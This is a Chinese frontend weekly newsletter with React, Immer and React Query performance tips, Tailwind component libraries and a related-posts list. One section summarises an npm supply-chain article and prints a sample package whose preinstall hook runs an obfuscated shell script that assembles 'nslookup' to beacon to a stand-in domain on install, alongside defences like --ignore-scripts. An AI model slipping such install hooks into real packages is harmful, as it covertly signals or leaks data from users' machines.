前端爱好者周刊 32 期:React 应用的性能优化

前端爱好者周刊 (Github: shfshanyue/weekly),每周记录关于前端的开源工具、优秀文章、重大库版本发布记录等等,周刊中优秀文章会在公众号全栈成长之路逐一推送。每周一发布,订阅平台如下,欢迎订阅。

小技巧

  • 快速跳转到文件特定行。在 vim 中,只需输入 :<行号>,如 :25 然后按 Enter,即可快速跳转到第 25 行。
  • VSCode 多游标编辑。按下 Ctrl(Cmd)+ Alt(Option)+ 向上或向下的箭头键,可以在上/下方创建一个新光标,从而同时在多行上进行编辑。
  • JavaScript 深拷贝对象。使用 JSON.parse(JSON.stringify(obj)) 可以对对象 obj 进行简单的深拷贝。
  • 使用 git add -p 可以选择性地暂存代码改动的一部分,做到精细化的提交,每次提交只包含一个逻辑更改。

文章推荐

一、 immer 性能优化意见

Immer 是一款处理不可变数据的 JavaScript 库,其性能表现上乘,这得益于它能够识别出无实质变化的状态并返回原状态,避免了不必要的重新渲染

如果想要向状态树中添加大量的数据,可以先进行冻结操作:

js 复制代码
import { freeze } from "immer";

data = freeze(bigData);

具有高性能需求的 reducer 可选择手动编写,而对于常规的 reducer 则可以使用 Immer 进行处理:

js 复制代码
let state = //...
let action = //...

function reducer(state, action) {
    switch (action.type) {
        // 手动编写的更新逻辑
        case "UPDATE_HIGH_PERFORMANCE":
        // 使用 Immer 进行状态更新
        case "UPDATE_NORMAL":
            return produce(state, draft => { /* 更新逻辑 */ })
        default:
            return state
    }
}

最后,我们应该尽量提升 produce 的调用层级以提升性能。

javascript 复制代码
produce(baseState, (draft) => {
  // 将 for 循环置于 produce 内部,而非外部
  for (let i = 0; i < arr.length; i++) draft.push(arr[i]);
});

二、 React Query 渲染优化

在这篇文章中,详解了 React Query 如何进行渲染优化。主要介绍了 isFetching 字段,这个字段会在发起请求时设置为 true,但如果你不打算显示加载状态,就可能引发不必要的重绘。

同时,还介绍了 notifyOnChangeProps 选项:

ts 复制代码
export const useTodosQuery = (select, notifyOnChangeProps) =>
  useQuery({
    queryKey: ["todos"],
    queryFn: fetchTodos,
    select,
    notifyOnChangeProps,
  });
export const useTodosCount = () =>
  useTodosQuery((data) => data.length, ["data"]);

在跟踪查询中, React Query 会记录渲染过程中用到的字段,并根据这些字段计算出变更列表。这个特性可以通过将 notifyOnChangeProps 设为 'tracked' 来启用:

ts 复制代码
const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      notifyOnChangeProps: "tracked",
    },
  },
});

最后,作者介绍了结构共享(Structural sharing),这个技巧会在数据结构的每一级中保持引用的一致性。只有在数据发生变动的部分,才会在新旧状态中进行复制,从而优化渲染。

其渲染优化核心函数可见 replaceEqualDeep

三、 实际上,React.memo 很有用

本文是作者基于个人经验对 React.memo, React.useMemo 和 React.useCallback 的看法。

作者指出这些性能 API 被错误地看作有害,并解释如何正确使用它们。他反驳了多个关于这些 API 的常见误解,比如它们会减慢应用速度、只有在特定情况下有用、会破坏代码的可读性和可维护性等观点。

文章还解释了怎样通过优化对 React.memo 包裹的组件的 props 传递来提升性能,同时强调,在合理的情况下应该考虑使用性能 API。

最后,作者表达了对在 React 代码中追求效率的热情,并坚信正确使用性能 API 会提高应用性能。

四、 如何运用 npm install 脚本进行攻击:一个 npm 包含恶意代码的实际例子

文章介绍了 npm 预安装和后安装脚本如何被用为注入恶意代码到开源包的方式,并举出了一个实际的恶意 npm 包的例子。

在这个例子中,有一个名为 "very-trustyworthy-package" 的包,它包括一个在安装时运行的 preinstall 脚本,该脚本有一个 install.sh 的 shell 脚本。

json 复制代码
{
  "name": "very-trustyworthy-package",
  "version": "0.0.42",
  "scripts": {
    "preinstall": "sh install.sh"
  }
}
shell 复制代码
#!/usr/bin/env sh

echo "Starting build..."
amount=ample
former=ex
organization=org
install_a=nslo
install_b=okup

$install_a$install_b trustworthy-package.xyz.$former$amount.$organization >/dev/null

echo "Build succeeded..."

执行上述安装脚本后,它会进行一个 DNS 调用,查找 trustworthy-package.xyz.example.org

这个包的设计者可以通过这种方式知道有人安装了他们的包,并获取了一些信息。

文中也提供了一些方法来保护自身安全,比如运行带有 --ignore-scripts 选项的 npm,避免执行preinstallpostinstall 脚本,并使用 Trusty 和 Minder 这类自动化的依赖分析和强制执行的工具。

开源与库

一、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

cva 旨在为开发者提供一种更方便的方法,以解决 "传统" 的 CSS 方法在创建 CSS 类变体以及匹配类到组件属性时可能出现的一些麻烦。

在传统的方法中,开发者需要将 CSS 类手动匹配到组件的属性,并手动添加类型。这些看似简单,实际上却可能非常繁琐和耗时。

cva 帮助开发者简化这些过程,让他们可以专心于 UI 开发的有趣部分。具体地,如果你需要在组件中创建一个 'primary' 变体,你可以这样做:

javascript 复制代码
mport { cva } from "class-variance-authority";

const button = cva(["font-semibold", "border", "rounded"], {
  variants: {
    intent: {
      primary: [
        "bg-blue-500",
        "text-white",
        "border-transparent",
        "hover:bg-blue-600",
      ],
      secondary: [
        "bg-white",
        "text-gray-800",
        "border-gray-400",
        "hover:bg-gray-100",
      ],
    },
    size: {
      small: ["text-sm", "py-1", "px-2"],
      medium: ["text-base", "py-2", "px-4"],
    },
  },
  defaultVariants: {
    intent: "primary",
    size: "medium",
  },
});

button();
// => "font-semibold border rounded bg-blue-500 text-white border-transparent hover:bg-blue-600 text-base py-2 px-4 uppercase"

button({ intent: "secondary", size: "small" });

如上所示,cva 提供了一种简洁高效的方式来定义和管理 CSS 类。这可以大大提高开发者的工作效率,并使得他们能够专注于开发更多有趣的 UI 功能。

二、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

TWC 为 React 和 Tailwind CSS 提供了强有力的结合,通过一行代码就能创建出可复用的组件。

它的特性包括轻量级、全编辑器支持、基于属性的样式适应、类复用支持和所有组件兼容。你甚至可以在服务器端渲染 React 组件。

并且,TWC 提供了对 tailwind-merge 和 cva 的一流支持。以下是一个使用和不使用 TWC 的示例:

使用 TWC 前:

javascript 复制代码
import * as React from "react";

const Card = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={clsx(
      "rounded-lg border bg-slate-100 text-white shadow-sm",
      className,
    )}
    {...props}
  />
));

使用 TWC 后:

javascript 复制代码
import { twc } from "react-twc";

const Card = twc.div`rounded-lg border bg-slate-100 text-white shadow-sm`;

从以上代码可以看出,使用 TWC 创建组件可以使代码更加简洁和易读,减少了样式代码的复杂性。

开发利器

一、 Code To Graph

Code To Graph 是一个用于可视化代码的在线工具。它能够将代码转换成图形,并显示其执行流程。

相关推荐
桂月二二4 小时前
探索前端开发中的 Web Vitals —— 提升用户体验的关键技术
前端·ux
hunter2062066 小时前
ubuntu向一个pc主机通过web发送数据,pc端通过工具直接查看收到的数据
linux·前端·ubuntu
qzhqbb6 小时前
web服务器 网站部署的架构
服务器·前端·架构
刻刻帝的海角6 小时前
CSS 颜色
前端·css
九酒6 小时前
从UI稿到代码优化,看Trae AI 编辑器如何帮助开发者提效
前端·trae
浪浪山小白兔7 小时前
HTML5 新表单属性详解
前端·html·html5
lee5767 小时前
npm run dev 时直接打开Chrome浏览器
前端·chrome·npm
2401_897579657 小时前
AI赋能Flutter开发:ScriptEcho助你高效构建跨端应用
前端·人工智能·flutter
limit for me8 小时前
react上增加错误边界 当存在错误时 不会显示白屏
前端·react.js·前端框架
浏览器爱好者8 小时前
如何构建一个简单的React应用?
前端·react.js·前端框架